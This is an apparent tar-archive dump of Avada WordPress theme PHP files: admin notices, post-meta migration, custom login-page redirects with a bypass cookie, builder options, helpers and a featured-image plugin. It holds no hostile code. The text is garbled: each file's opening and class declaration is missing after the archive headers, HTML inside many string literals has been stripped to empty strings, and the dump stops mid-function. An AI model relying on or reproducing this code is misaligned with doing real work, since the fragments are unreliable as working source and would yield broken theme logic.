'; $link = '' . esc_html__( 'Avada Registration Q and A', 'Avada' ) . ''; if ( $legacy_active ) { $current = new DateTime( gmdate( 'D, d M Y H:i' ) ); $legacy_end = new DateTime( gmdate( 'D, d M Y H:i', $data['legacy_end'] ) ); $diff = $legacy_end->diff( $current ); $days = 1 !== $diff->d ? esc_html__( 'days', 'Avada' ) : esc_html__( 'day', 'Avada' ); $hours = 1 !== $diff->h ? esc_html__( 'hours', 'Avada' ) : esc_html__( 'hour', 'Avada' ); if ( 0 === $diff->d ) { $remaining = $diff->format( '%h ' . $hours ); } else { $remaining = $diff->format( '%a ' . $days . ' and %h ' . $hours ); } /* translators: The link. */ $message .= '

' . sprintf( __( 'To receive further product updates, the registration has to be updated using your Avada purchase code. Updates, using your Envato token will continue to work for a limited period of time. The time at which this support will end can be found below. For more information please read the %s.', 'Avada' ), $link ) . '

'; $message .= '
'; /* translators: The remaining time. */ $message .= '

' . sprintf( __( 'Updates with the token will stop working in %s.', 'Avada' ), $remaining ) . '

'; } else { /* translators: The link. */ $message .= '

' . sprintf( __( 'To receive further product updates, the registration has to be updated using your Avada purchase code. The grace period for updates using the Envato token has ended. Please complete registration in order to receive automatic updates, plugin installs and prebuilt website imports. For more information please read the %s.', 'Avada' ), $link ) . '

'; $message .= '
'; /* translators: The expiry date. */ $message .= '

' . sprintf( __( 'Token updates expired on %s.', 'Avada' ), gmdate( 'D, d M Y H:i', $data['legacy_end'] ) ) . '

'; } $message .= '' . esc_html__( 'Update Registration', 'Avada' ) . ''; $message .= '
'; new Fusion_Admin_Notice( 'fusion-legacy-notice', $message, is_super_admin(), 'error', true, 'user_meta', 'avada-reg', [ 'avada_page_avada-prebuilt-websites', 'avada_page_avada-plugins', 'avada_page_avada-patcher', 'toplevel_page_avada', ] ); } } /** * Returns the HubSpot affiliate code. * * @since 7.4 * @return string */ public function get_hubspot_affiliate_code() { return $this->hubspot_code; } /** * Adds the menu order options as colum,n to the post tables. * * @access public * @since 7.11.10 * @return void */ public function add_columns_to_post_tables() { add_action( 'manage_avada_portfolio_posts_columns', [ $this, 'add_portfolio_columns' ] ); add_action( 'manage_avada_faq_posts_columns', [ $this, 'add_faq_columns' ] ); $post_types = [ 'avada_faq', 'avada_portfolio', 'page', ]; foreach ( $post_types as $post_type ) { add_action( 'manage_' . $post_type . '_posts_columns', [ $this, 'add_order_column' ] ); add_action( 'manage_' . $post_type . '_posts_custom_column', [ $this, 'show_order_column_values' ] ); add_filter( 'manage_edit-' . $post_type . '_sortable_columns', [ $this, 'order_column_register_sortable' ] ); } } /** * Add categories, skills and tags columns to the Portfolio wp list table. * * @access public * @since 7.11.10 * @return void */ public function add_portfolio_columns( $columns ) { $columns['portfolio_category'] = esc_html__( 'Categories', 'Avada' ); $columns['portfolio_skills'] = esc_html__( 'Skills', 'Avada' ); $columns['portfolio_tags'] = esc_html__( 'Tags', 'Avada' ); return $columns; } /** * Add categories colum to the FAQs wp list table. * * @access public * @since 7.11.10 * @return void */ public function add_faq_columns( $columns ) { $columns['faq_category'] = esc_html__( 'Categories', 'Avada' ); return $columns; } /** * Add order column to wp list tables. * * @access public * @since 7.11.10 * @return void */ public function add_order_column( $columns ) { $columns['menu_order'] = esc_html__( 'Order', 'Avada' ); return $columns; } /** * Show order column values in wp list tables. * * @access public * @since 7.11.10 * @return void */ public function show_order_column_values( $name ) { global $post; switch ( $name ) { case 'portfolio_category': case 'portfolio_skills': case 'portfolio_tags': case 'faq_category': $terms = get_the_terms( $post->ID, $name ); $terms_html = ''; if ( $terms ) { foreach ( $terms as $term ) { $args = [ $name => $term->slug, 'post_type' => $post->post_type, ]; $terms_html .= sprintf( '%2$s', esc_url( add_query_arg( $args, 'edit.php' ) ), esc_html( $term->name ) ) . wp_get_list_item_separator(); } } echo trim( $terms_html, wp_get_list_item_separator() ); break; case 'menu_order': $order = $post->menu_order; echo $order; break; default: break; } } /** * Make order column sortable in wp list tables. * * @access public * @since 7.11.10 * @return void */ public function order_column_register_sortable( $columns ) { $columns['menu_order'] = 'menu_order'; return $columns; } } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/class-fusion-deprecate-pyre-po.php000064400000026306152342437700016046 0ustar00 new_option_name. * * @static * @access protected * @since 6.2.0 * @var array */ protected static $mismatched = [ 'avada_rev_styles' => 'avada_rev_styles', 'show_first_featured_image' => 'show_first_featured_image', ]; /** * Constructor. * * @access public * @since 6.2.0 * @param array $post_id The arguments. * @return void */ public function __construct( $post_id = 0 ) { $this->post_id = $post_id ? $post_id : fusion_library()->get_page_id(); if ( ! $this->post_id || ! is_int( $this->post_id ) ) { return; } $this->post_type = get_post_type( $this->post_id ); $this->post_meta = get_post_meta( $this->post_id ); // Don't want to migrate for revisions or continue if we are not on a single post/page. if ( 'revision' === $this->post_type ) { return; } // Trigger migrations. $this->migrate(); } /** * Migrate old value to new structure. * * @access protected * @since 6.2.0 * @return void */ protected function migrate() { $this->modify_initial_postmeta(); // Get all post-meta. $new_meta = []; // Loop all postmeta. foreach ( $this->post_meta as $old_key => $value ) { // Only migrate non-empty, non-default meta. if ( '' === $value || 'default' === $value ) { continue; } // Get the new key. $new_key = $this->get_new_option_name( $old_key ); // Format the value. $value = $this->format_value( $value, $old_key, $new_key ); if ( false === strpos( $new_key, '[' ) ) { $new_meta[ $new_key ] = $value; } else { $new_key_root = explode( '[', $new_key )[0]; if ( ! isset( $new_meta[ $new_key_root ] ) ) { $new_meta[ $new_key_root ] = []; } $new_key_child = str_replace( ']', '', explode( '[', $new_key )[1] ); $new_meta[ $new_key_root ][ $new_key_child ] = $value; } } update_post_meta( $this->post_id, Fusion_Data_PostMeta::ROOT, $new_meta ); } /** * Get the new option name. * * @access protected * @since 6.2.0 * @param string $option_name The old option-name. * @return string */ protected function get_new_option_name( $option_name ) { switch ( $option_name ) { case 'portfolio_width_100': if ( 'product' === $this->post_type ) { return 'product_width_100'; } elseif ( 'avada_portfolio' === $this->post_type ) { return 'portfolio_width_100'; } return 'blog_width_100'; case 'share_box': if ( 'tribe_events' === $this->post_type ) { return 'events_social_sharing_box'; } elseif ( 'avada_portfolio' === $this->post_type ) { return 'portfolio_social_sharing_box'; } return 'social_sharing_box'; case 'post_pagination': return ( 'avada_portfolio' === $this->post_type ) ? 'portfolio_pn_nav' : 'blog_pn_nav'; case 'related_posts': if ( 'avada_portfolio' === $this->post_type ) { return 'portfolio_related_posts'; } elseif ( 'avada_faq' === $this->post_type ) { return 'faq_related_posts'; } return 'related_posts'; case 'sbg_selected_sidebar_replacement': if ( 'page' === $this->post_type ) { return 'pages_sidebar'; } elseif ( 'post' === $this->post_type || 'avada_faq' === $this->post_type ) { return 'posts_sidebar'; } elseif ( 'avada_portfolio' === $this->post_type ) { return 'portfolio_sidebar'; } elseif ( 'product' === $this->post_type ) { return 'woo_sidebar'; } elseif ( 'tribe_events' === $this->post_type ) { return 'ec_sidebar'; } elseif ( 'forum' === $this->post_type || 'topic' === $this->post_type || 'reply' === $this->post_type ) { return 'ppbress_sidebar'; } return 'posts_sidebar'; // Migrate to post option naming for CPT. case 'sbg_selected_sidebar_2_replacement': if ( 'page' === $this->post_type ) { return 'pages_sidebar_2'; } elseif ( 'post' === $this->post_type || 'avada_faq' === $this->post_type ) { return 'posts_sidebar_2'; } elseif ( 'avada_portfolio' === $this->post_type ) { return 'portfolio_sidebar_2'; } elseif ( 'product' === $this->post_type ) { return 'woo_sidebar_2'; } elseif ( 'tribe_events' === $this->post_type ) { return 'ec_sidebar_2'; } elseif ( 'forum' === $this->post_type || 'topic' === $this->post_type || 'reply' === $this->post_type ) { return 'ppbress_sidebar_2'; } return 'posts_sidebar_2'; // Migrate to post option naming for CPT. case 'sidebar_position': if ( 'page' === $this->post_type ) { return 'default_sidebar_pos'; } elseif ( 'post' === $this->post_type || 'avada_faq' === $this->post_type ) { return 'blog_sidebar_position'; } elseif ( 'avada_portfolio' === $this->post_type ) { return 'portfolio_sidebar_position'; } elseif ( 'product' === $this->post_type ) { return 'woo_sidebar_position'; } elseif ( 'tribe_events' === $this->post_type ) { return 'ec_sidebar_pos'; } elseif ( 'forum' === $this->post_type || 'topic' === $this->post_type || 'reply' === $this->post_type ) { return 'bbpress_sidebar_position'; } return 'blog_sidebar_position'; case 'page_bg_layout': return 'layout'; case 'page_bg_color': return 'bg_color'; case 'page_bg': return 'bg_image[url]'; case 'page_bg_full': return 'bg_full'; case 'page_bg_repeat': return 'bg_repeat'; case 'wide_page_bg_color': return 'content_bg_color'; case 'wide_page_bg': return 'content_bg_image[url]'; case 'wide_page_bg_full': return 'content_bg_full'; case 'wide_page_bg_repeat': return 'content_bg_repeat'; case 'display_footer': return 'footer_widgets'; case 'display_copyright': return 'footer_copyright'; case 'combined_header_bg_color': return 'header_bg_color'; case 'header_bg': return 'header_bg_image[url]'; case 'main_top_padding': return 'main_padding[top]'; case 'main_bottom_padding': return 'main_padding[bottom]'; case 'page_title': return 'page_title_bar'; case 'page_title_breadcrumbs_search_bar': return 'page_title_bar_bs'; case 'page_title_text': return 'page_title_bar_text'; case 'page_title_text_alignment': return 'page_title_alignment'; case 'page_title_text_size': return 'page_title_font_size'; case 'page_title_font_color': return 'page_title_color'; case 'page_title_custom_subheader_text_size': return 'page_title_subheader_font_size'; case 'page_title_subheader_font_color': return 'page_title_subheader_color'; case 'page_title_bar_bg_color': return 'page_title_bg_color'; case 'page_title_bar_borders_color': return 'page_title_border_color'; case 'page_title_bar_bg': return 'page_title_bg[url]'; case 'page_title_bar_bg_retina': return 'page_title_bg_retina[url]'; case 'page_title_bar_bg_full': return 'page_title_bg_full'; case 'width': return 'portfolio_featured_image_width'; case 'project_desc_title': return 'portfolio_project_desc_title'; case 'project_details': return 'portfolio_project_details'; case 'link_icon_target': return 'portfolio_link_icon_target'; case 'post_comments': return 'blog_comments'; case 'sidebar_bg_color': return ( 'tribe_events' === $this->post_type ) ? 'ec_sidebar_bg_color' : 'sidebar_bg_color'; case 'fimg_width': return 'fimg[width]'; case 'fimg_height': return 'fimg[height]'; case 'mp4': return 'mp4[url]'; case 'webm': return 'webm[url]'; case 'ogv': return 'ogv[url]'; case 'preview_image': return 'preview_image[url]'; } return $option_name; } /** * Format the value. * * @access private * @since 6.2.0 * @param mixed $value The value. * @param string $key The old post-meta key. * @param string $new_key The new post-meta key. */ private function format_value( $value, $key, $new_key ) { if ( 'sbg_selected_sidebar_replacement' === $key || 'sbg_selected_sidebar_2_replacement' === $key ) { $value = maybe_unserialize( $value ); if ( is_array( $value ) && isset( $value[0] ) ) { return $value[0]; } } if ( isset( self::$mismatched[ $key ] ) && $new_key === self::$mismatched[ $key ] ) { if ( 'yes' === $value ) { return 'no'; } elseif ( '1' === $value ) { return '0'; } elseif ( 1 === $value ) { return 0; } elseif ( true === $value ) { return false; } elseif ( 'no' === $value ) { return 'yes'; } elseif ( '0' === $value ) { return '1'; } elseif ( 0 === $value ) { return 1; } elseif ( false === $value ) { return true; } } return $value; } /** * Run initial migrations on post-meta. * * @since 6.2.0 * @return void */ protected function modify_initial_postmeta() { $post_meta = []; foreach ( $this->post_meta as $key => $val ) { // Check if this is a meta we want to migrate. if ( ! $this->is_ours( $key ) ) { unset( $this->post_meta[ $key ] ); continue; } $val = ( is_array( $val ) && isset( $val[0] ) ) ? $val[0] : $val; $val = maybe_unserialize( $val ); $post_meta[ str_replace( 'pyre_', '', $key ) ] = $val; } /** * Modification for the combined_header_bg_color page-option. * In the past there were separate controls for color & opacity * which were combined to a single rgba control in Avada v5.7. */ if ( isset( $post_meta['header_bg_opacity'] ) && isset( $post_meta['header_bg_color'] ) && ! isset( $post_meta['combined_header_bg_color'] ) ) { // Only proceed if header_bg_color is not rgba. if ( false === strpos( $post_meta['header_bg_color'], 'rgba' ) ) { $alpha = $post_meta['header_bg_opacity']; // Only proceed if alpha is numeric. if ( is_numeric( $alpha ) ) { $color = $post_meta['header_bg_color']; if ( ! $color || empty( $color ) ) { $color = fusion_get_theme_option( 'header_bg_color' ); } $post_meta['combined_header_bg_color'] = $post_meta['header_bg_color']; if ( 1 > $alpha ) { $post_meta['combined_header_bg_color'] = Fusion_Color::new_color( $color )->getNew( 'alpha', $alpha )->toCSS( 'rgba' ); } } } } $this->post_meta = $post_meta; } /** * Check if the post-meta is one of ours. * * @access protected * @since 6.2.0 * @param string $key The post-meta key. * @return bool */ protected function is_ours( $key ) { if ( 0 === strpos( $key, 'pyre_' ) ) { return true; } if ( 0 === strpos( $key, 'sbg_' ) ) { return true; } if ( 0 === strpos( $key, 'kd_' ) ) { return true; } return false; } } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/class-awb-custom-auth-pages.php000064400000024657152342437700015344 0ustar00is_woocommerce_auth_page() ) { return; } $bypass_param = Avada()->settings->get( 'auth_pages_bypass_param' ); // Clear the bypass cookie, if we no longer have a bypass query arg set in GO. if ( empty( $bypass_param ) ) { $this->clear_bypass_cookie(); } // If we have a bypass query are set in GO and it is used in the current request, set the cookie. if ( ! empty( $bypass_param ) && isset( $_GET[ $bypass_param ] ) ) { $this->set_bypass_cookie(); // UIf the cookie isn't already set, bypass on first request. if ( ! isset( $_COOKIE['awb_bypass_wp_login'] ) ) { return; } } // If the cookie is set, bypass redirects. if ( isset( $_COOKIE['awb_bypass_wp_login'] ) && 1 === (int) $_COOKIE['awb_bypass_wp_login'] ) { return; } $current_request_uri = $_SERVER['REQUEST_URI'] ? esc_url_raw( $_SERVER['REQUEST_URI'] ) : ''; $current_url_path = rtrim( wp_parse_url( $current_request_uri, PHP_URL_PATH ), '/' ); $action = isset( $_GET['action'] ) ? sanitize_key( $_GET['action'] ) : false; $wp_auth_page_match = false; $wp_login_url_path = rtrim( wp_parse_url( wp_login_url(), PHP_URL_PATH ), '/' ); $wp_registration_url_path = rtrim( wp_parse_url( wp_registration_url(), PHP_URL_PATH ), '/' ); $wp_lost_password_url_path = rtrim( wp_parse_url( wp_lostpassword_url(), PHP_URL_PATH ), '/' ); // Check if we have a match. if ( $current_url_path === $wp_login_url_path ) { $wp_auth_page_match = 'wp_login'; } else if ( $current_url_path === $wp_registration_url_path ) { $wp_auth_page_match = 'wp_registration'; } else if ( $current_url_path === $wp_lost_password_url_path ) { $wp_auth_page_match = 'wp_lost_password'; } // We need to redirect. if ( $wp_auth_page_match ) { $redirect_action = Avada()->settings->get( 'auth_pages_custom_redirect' ); // A custom action was set. if ( 'auth_pages' !== $redirect_action ) { $this->do_custom_redirect( $redirect_action ); } else { // Redirect to the corresponding set auth page. if ( 'wp_login' === $wp_auth_page_match ) { switch ( $action ) { case 'login': case false: default: $redirection_page = apply_filters( 'awb_auth_pages_login_redirect', Avada()->settings->get( 'auth_pages_login_page' ) ); break; case 'register': $redirection_page = apply_filters( 'awb_auth_pages_registratio_redirect', Avada()->settings->get( 'auth_pages_registration_page' ) ); break; case 'lostpassword': $redirection_page = apply_filters( 'awb_auth_pages_lost_password_redirect', Avada()->settings->get( 'auth_pages_lost_password_page' ) ); break; case 'rp': // Reset password $redirection_page = apply_filters( 'awb_auth_pages_reset_password_redirect', Avada()->settings->get( 'auth_pages_reset_password_page' ) ); break; case 'logout': // Just to be sure that we do not run into a redirct loop if a custom action is set. if ( is_user_logged_in() ) { return; } break; } $this->do_redirect( $redirection_page ); } } } } /** * Checks if the page request matches a WooCommerce authentication page. * * @since 7.14.1 * @access private * @return bool */ private function is_woocommerce_auth_page() { if ( class_exists( 'WooCommerce' ) ) { $current_request_uri = $_SERVER['REQUEST_URI'] ? esc_url_raw( $_SERVER['REQUEST_URI'] ) : ''; $current_url_path = rtrim( wp_parse_url( $current_request_uri, PHP_URL_PATH ), '/' ); $woo_endpoints = [ wc_get_account_endpoint_url( 'lost-password' ), add_query_arg( [ 'show-reset-form' => 'true' ], wc_get_account_endpoint_url( 'lost-password' ) ), wc_get_account_endpoint_url( 'customer-logout' ) ]; foreach ( $woo_endpoints as $woo_endpoint ) { $woo_endpoint_path = rtrim( wp_parse_url( $woo_endpoint, PHP_URL_PATH ), '/' ); if ( $woo_endpoint_path && 0 === strpos( $current_url_path, $woo_endpoint_path ) ) { return true; } } } return false; } /** * Sets the bypass cookie. * * @since 7.14.1 * @access private * @return void */ private function set_bypass_cookie() { setcookie( $this->bypass_cookie_name, '1', $this->get_bypass_cookie_args( time() + 5 * 60 ) // Valid for 5mins. ); } /** * Clears the bypass cookie. * * @since 7.14.1 * @access public * @return void */ public function clear_bypass_cookie() { if ( isset( $_COOKIE ) && isset( $_COOKIE[ $this->bypass_cookie_name ] ) ) { setcookie( $this->bypass_cookie_name, '', $this->get_bypass_cookie_args( time() - 3600 ) ); unset( $_COOKIE[ $this->bypass_cookie_name ] ); } } /** * Returns the cookie args. * * @since 7.14.1 * @access private * @param int $expires The expiry timestamp. * @return array The cookie args. */ private function get_bypass_cookie_args( $expires ) { return [ 'expires' => $expires, 'path' => COOKIEPATH, 'domain' => COOKIE_DOMAIN, 'secure' => is_ssl(), 'httponly' => true, 'samesite' => 'Strict', ]; } /** * Performs the redirects to the customarily chosen endpoints. * * @since 7.14.1 * @access private * @param string $redirect_action The desired redirection action. * @return void */ private function do_custom_redirect( $redirect_action ) { switch ( $redirect_action ) { case 'homepage': wp_safe_redirect( home_url() ); exit; case '404': // Need a full redirect here because of the layout builder. wp_safe_redirect( home_url( '/error-404' ) ); exit; case 'custom_page': $custom_redirect_page = Avada()->settings->get( 'auth_pages_custom_redirect_page' ); if ( ! $this->do_redirect( $custom_redirect_page ) ) { wp_safe_redirect( home_url() ); exit; } } } /** * Performs the actual redirects. * * @since 7.14.1 * @access private * @param string|int $page_id The ID of the page to redirct to. * @param bool $add_query_string A flag deciding if the query string should be appended. * @return void|bool Only returns false, if a redirect can't be performed. */ private function do_redirect( $page_id, $add_query_string = true ) { if ( $page_id && 'publish' === get_post_status( $page_id ) ) { $redirect_url = get_permalink( $page_id ); $query_string = $_GET; if ( $redirect_url ) { if ( $add_query_string && is_array( $query_string ) ) { foreach ( $query_string as $key => $value ) { $redirect_url = add_query_arg( $key, rawurlencode( sanitize_text_field( $value ) ), $redirect_url ); } } wp_safe_redirect( $redirect_url ); exit; } } return false; } /** * Performs redirect after successful logout to custom login page. * * @since 7.14.1 * @access public * @param string $redirect_to The redirect destination URL. * @param string $requested_redirect_to The requested redirect destination URL passed as a parameter. * @param WP_User $user The WP_User object for the user that's logging out. * @return string */ public function do_logout_redirect( $redirect_to, $requested_redirect_to, $user ) { // By default WordPress tries to rediret to the login URL, which means we must cover that. $wp_login_url = wp_login_url(); if ( 0 === strpos( $redirect_to, $wp_login_url ) ) { $redirection_page = apply_filters( 'awb_auth_pages_login_redirect', Avada()->settings->get( 'auth_pages_login_page' ) ); if ( $redirection_page && 'publish' === get_post_status( $redirection_page ) ) { $redirect_to = get_permalink( $redirection_page ) . '?logged_out=true'; } } return $redirect_to; } /** * Make sure that also the reset password email uses rge custom reset password page URL. * * @since 7.14.1 * @access public * @param string $message Email message. * @param string $key The activation key. * @param string $user_login The username for the user. * @param WP_User $user_data WP_User object. * @return string The modified email message. */ public function ajust_reset_password_email( $message, $key, $user_login, $user_data ) { $redirection_page = apply_filters( 'awb_auth_pages_reset_password_redirect', Avada()->settings->get( 'auth_pages_reset_password_page' ) ); if ( $redirection_page && 'publish' === get_post_status( $redirection_page ) ) { $redirect_url = get_permalink( $redirection_page ); $network_url = network_site_url( 'wp-login.php' ); $message = str_replace( $network_url, $redirect_url, $message ); } return $message; } /** * Creates or returns an instance of this class. * * @static * @since 7.14.1 * @access public * @return object AWB_Custom_Auth_Pages */ public static function get_instance() { // If an instance hasn't been created and set to $instance create an instance and set it to $instance. if ( null === self::$instance ) { self::$instance = new AWB_Custom_Auth_Pages(); } return self::$instance; } } /** * Instantiates the AWB_Custom_Auth_Pages class. * Make sure the class is properly set-up. * * @since 7.14.1 * @return object AWB_Custom_Auth_Pages */ function AWB_Custom_Auth_Pages() { // phpcs:ignore WordPress.NamingConventions return AWB_Custom_Auth_Pages::get_instance(); } AWB_Custom_Auth_Pages(); Avada/includes/class-fusion-builder-redux-options.php000064400000011362152342437700016761 0ustar00is_avada = true; } } /** * Set the sections. * * @access public * @param array $sections Our Redux sections. * @return array */ public function add_sections( $sections = [] ) { global $fusion_builder_elements; // Simplify the array. if ( null !== $fusion_builder_elements ) { $simplified_array = []; foreach ( $fusion_builder_elements as $element ) { if ( isset( $element['shortcode'] ) && isset( $element['name'] ) ) { $simplified_array[ $element['shortcode'] ] = $element['name']; } } if ( ! empty( $simplified_array ) ) { $fusion_builder_elements = $simplified_array; } } // If we can't find the builder elements from the global var, // use a hard-coded array. if ( null === $fusion_builder_elements ) { $fusion_builder_elements = [ 'fusion_alert' => 'Alert', 'fusion_blog' => 'Blog', 'fusion_button' => 'Button', 'fusion_checklist' => 'Checklist', 'fusion_code' => 'Code Block', 'fusion_content_boxes' => 'Content Boxes', 'fusion_countdown' => 'Countdown', 'fusion_counters_box' => 'Counter Boxes', 'fusion_counters_circle' => 'Counter Circles', 'fusion_events' => 'Events', 'fusion_faq' => 'FAQ', 'fusion_flip_boxes' => 'Flip Boxes', 'fusion_fusionslider' => 'Avada Slider', 'fusion_map' => 'Google Map', 'fusion_fontawesome' => 'Icon', 'fusion_images' => 'Image Carousel', 'fusion_imageframe' => 'Image Frame', 'layerslider' => 'Layer Slider', 'fusion_login' => 'User Login', 'fusion_register' => 'User Register', 'fusion_lost_password' => 'User Lost Password', 'fusion_modal' => 'Modal', 'fusion_person' => 'Person', 'fusion_postslider' => 'Post Slider', 'fusion_pricing_table' => 'Pricing Table', 'fusion_progress' => 'Progress Bar', 'fusion_recent_posts' => 'Recent Posts', 'fusion_portfolio' => 'Portfolio', 'rev_slider' => 'Slider Revolution', 'fusion_section_separator' => 'Section Separator', 'fusion_separator' => 'Separator', 'fusion_sharing' => 'Sharing Box', 'fusion_slider' => 'Slider', 'fusion_social_links' => 'Social Links', 'fusion_soundcloud' => 'Soundcloud', 'fusion_tabs' => 'Tabs', 'fusion_tagline_box' => 'Tagline Box', 'fusion_testimonials' => 'Testimonials', 'fusion_text' => 'Text Block', 'fusion_title' => 'Title', 'fusion_accordian' => 'Toggles', 'fusion_vimeo' => 'Vimeo', 'fusion_widget_area' => 'Widget Area', 'fusion_featured_products_slider' => 'Woo Featured', 'fusion_products_slider' => 'Woo Carousel', 'fusion_woo_shortcodes' => 'Woo Shortcodes', 'fusion_youtube' => 'Youtube', ]; } $option_name = 'fusion_builder_options'; if ( ! function_exists( 'fusion_builder_redux_shortcode_styling' ) ) { return $sections; } // Get the new options. return fusion_builder_redux_shortcode_styling( $sections ); } } Avada/includes/class-avada-helper.php000064400000016776152342437700013563 0ustar00term_meta( $post_id )->get( 'slider_type' ) : fusion_data()->post_meta( $post_id )->get( 'slider_type' ); } /** * Given a post ID returns the slider visibility. * * @static * @access public * @param int $post_id The post ID. * @param bool $is_archive Whethere archive page.. * @return string */ public static function get_slider_visibility( $post_id, $is_archive = false ) { return ( true === $is_archive ) ? fusion_data()->term_meta( $post_id )->get( 'slider_visibility' ) : fusion_data()->post_meta( $post_id )->get( 'slider_visibility' ); } /** * Convert percent width to pixels. * * @static * @access public * @param int|float|string $percent The percentage. * @param int|string $max_width The screen max-width. * @return int */ public static function percent_to_pixels( $percent, $max_width = 1920 ) { return intval( ( intval( $percent ) * $max_width ) / 100 ); } /** * Converts ems to pixels. * * @static * @access public * @param int|string $ems The number of ems. * @param int|string $font_size The base font-size for conversions. * @return int */ public static function ems_to_pixels( $ems, $font_size = 14 ) { return intval( Fusion_Sanitize::number( $ems ) * $font_size ); } /** * Merges 2 CSS values to pixels. * * @static * @access public * @param array $values The CSS values we want to merge. * @return int In pixels. */ public static function merge_to_pixels( $values = [] ) { $final_value = 0; foreach ( $values as $value ) { if ( false !== strpos( $value, '%' ) ) { $value = self::percent_to_pixels( $value ); } elseif ( false !== strpos( $value, 'em' ) ) { $value = self::ems_to_pixels( $value ); } else { $value = intval( $value ); } $final_value = $final_value + $value; } return $final_value; } /** * Converts a PHP version to 3-part. * * @static * @access public * @param string $ver The verion number. * @return string */ public static function normalize_version( $ver ) { if ( ! is_string( $ver ) ) { return $ver; } $ver_parts = explode( '.', $ver ); $count = count( $ver_parts ); // Keep only the 1st 3 parts if longer. if ( 3 < $count ) { return absint( $ver_parts[0] ) . '.' . absint( $ver_parts[1] ) . '.' . absint( $ver_parts[2] ); } // If a single digit, then append '.0.0'. if ( 1 === $count ) { return absint( $ver_parts[0] ) . '.0.0'; } // If 2 digits, append '.0'. if ( 2 === $count ) { return absint( $ver_parts[0] ) . '.' . absint( $ver_parts[1] ) . '.0'; } return $ver; } /** * Checks if currently an admin post screen is viewed. * * @static * @access public * @since 5.0.0 * @param string $type The type of the post screen. * @return bool true only on an admin post screen. */ public static function is_post_admin_screen( $type = null ) { global $pagenow; // If not in backend, return early. if ( ! is_admin() ) { return false; } // Edit post screen. if ( 'edit' === $type ) { return in_array( $pagenow, [ 'post.php' ], true ); // New post screen. } elseif ( 'new' === $type ) { return in_array( $pagenow, [ 'post-new.php' ], true ); // Edit or new post screen. } else { return in_array( $pagenow, [ 'post.php', 'post-new.php', 'admin-ajax.php' ], true ); } } /** * Instantiates the WordPress filesystem for use with Avada. * * @static * @access public * @return object */ public static function init_filesystem() { $credentials = []; if ( ! defined( 'FS_METHOD' ) ) { define( 'FS_METHOD', 'direct' ); } $method = defined( 'FS_METHOD' ) ? FS_METHOD : false; if ( 'ftpext' === $method ) { // If defined, set it to that, Else, set to NULL. $credentials['hostname'] = defined( 'FTP_HOST' ) ? preg_replace( '|\w+://|', '', FTP_HOST ) : null; $credentials['username'] = defined( 'FTP_USER' ) ? FTP_USER : null; $credentials['password'] = defined( 'FTP_PASS' ) ? FTP_PASS : null; // Set FTP port. if ( strpos( $credentials['hostname'], ':' ) && null !== $credentials['hostname'] ) { list( $credentials['hostname'], $credentials['port'] ) = explode( ':', $credentials['hostname'], 2 ); if ( ! is_numeric( $credentials['port'] ) ) { unset( $credentials['port'] ); } } // Set connection type. if ( ( defined( 'FTP_SSL' ) && FTP_SSL ) && 'ftpext' === $method ) { $credentials['connection_type'] = 'ftps'; } elseif ( ! array_filter( $credentials ) ) { $credentials['connection_type'] = null; } else { $credentials['connection_type'] = 'ftp'; } } // The WordPress filesystem. global $wp_filesystem; if ( empty( $wp_filesystem ) ) { require_once wp_normalize_path( ABSPATH . '/wp-admin/includes/file.php' ); WP_Filesystem( $credentials ); } return $wp_filesystem; } /** * Check if we're on a bbPress tag archive page. * * @static * @access public * @since 5.3 * @return bool */ public static function bbp_is_topic_tag() { if ( function_exists( 'bbp_is_topic_tag' ) ) { return (bool) bbp_is_topic_tag(); } return false; } /** * Retrieves header color for post id. * * @static * @access public * @since 5.7 * @param int $post_id The post ID. * @param bool $mobile Whether we want mobile color or not. * @return string */ public static function get_header_color( $post_id = false, $mobile = false ) { if ( ! $post_id ) { $post_id = Avada()->fusion_library->get_page_id(); } $is_archive = false !== strpos( $post_id, 'archive' ) || false === $post_id; $option = ( $mobile ) ? 'mobile_header_bg_color' : 'header_bg_color'; if ( $is_archive ) { $option = str_replace( 'header', 'archive_header', $option ); } return Fusion_Sanitize::color( fusion_get_option( $option ) ); } } /* Omit closing PHP tag to avoid "Headers already sent" issues. */ Avada/includes/plugins/multiple-featured-images/multiple-featured-images.php000064400000011324152342437700023356 0ustar00 'featured-image-2', 'post_type' => 'page', 'name' => 'Featured Image 2', 'label_set' => 'Set featured image 2', 'label_remove' => 'Remove featured image 2', ]; /** * Constructor. * * @since 5.2 * @access public * @param array $args The arguments. * @return void */ public function __construct( $args ) { $this->args = wp_parse_args( $args, $this->defaults ); $this->args['metabox_id'] = $this->args['id'] . '_' . $this->args['post_type']; $this->args['post_meta_key'] = 'kd_' . $this->args['metabox_id'] . '_id'; add_action( 'add_meta_boxes', [ $this, 'add_meta_box' ] ); } /** * Add admin metabox for an additional featured image. * * @since 5.2 * @access public * @return void */ public function add_meta_box() { add_meta_box( $this->args['metabox_id'], $this->args['name'], [ $this, 'meta_box_content' ], $this->args['post_type'], 'side', 'low' ); } /** * Output the metabox content. * * @since 5.2 * @access public * @global object $post * @return void */ public function meta_box_content() { global $post; $image_id = fusion_data()->post_meta( $post->ID )->get( $this->args['post_meta_key'] ); $output = ''; $preview_image_css = ' style="display:none;"'; $remove_image_css = ' style="display:none;"'; if ( $image_id ) { $preview_image = wp_get_attachment_image( $image_id, [ 266, 266 ], false, [ 'class' => 'fusion-preview-image', ] ); $remove_image_css = ''; } else { $preview_image = ''; $preview_image_css = ''; } $preview_image = '' . $this->args['label_set'] . '' . $preview_image; $set_image_link = '

'; $set_image_link .= ''; $set_image_link .= $preview_image; $set_image_link .= ''; $set_image_link .= ''; $set_image_link .= '

'; $remove_image_link = ''; $output = ''; echo $output; // phpcs:ignore WordPress.Security.EscapeOutput } /** * Retrieve the ID of the featured image. * * @since 5.2 * @static * @access public * @global object $post * @param string $image_id Internal ID of the featured image. * @param string $post_type The post type of the post the featured image belongs to. * @param int $post_id A custom post ID. * @return int The featured image ID. */ public static function get_featured_image_id( $image_id, $post_type, $post_id = null ) { global $post; if ( is_null( $post_id ) ) { $post_id = get_the_ID(); } return fusion_data()->post_meta( $post_id )->get( 'kd_' . $image_id . '_' . $post_type . '_id' ); } } } if ( ! function_exists( 'fusion_get_featured_image_id' ) ) { /** * Get the ID of the featured image. * * @since 5.2 * @param int $image_id The image ID. * @param string $post_type The post-type. * @param int $post_id The post-ID. * @return int */ function fusion_get_featured_image_id( $image_id, $post_type, $post_id = null ) { if ( ! class_exists( 'kdMultipleFeaturedImages' ) ) { return 0; } return kdMultipleFeaturedImages::get_featured_image_id( $image_id, $post_type, 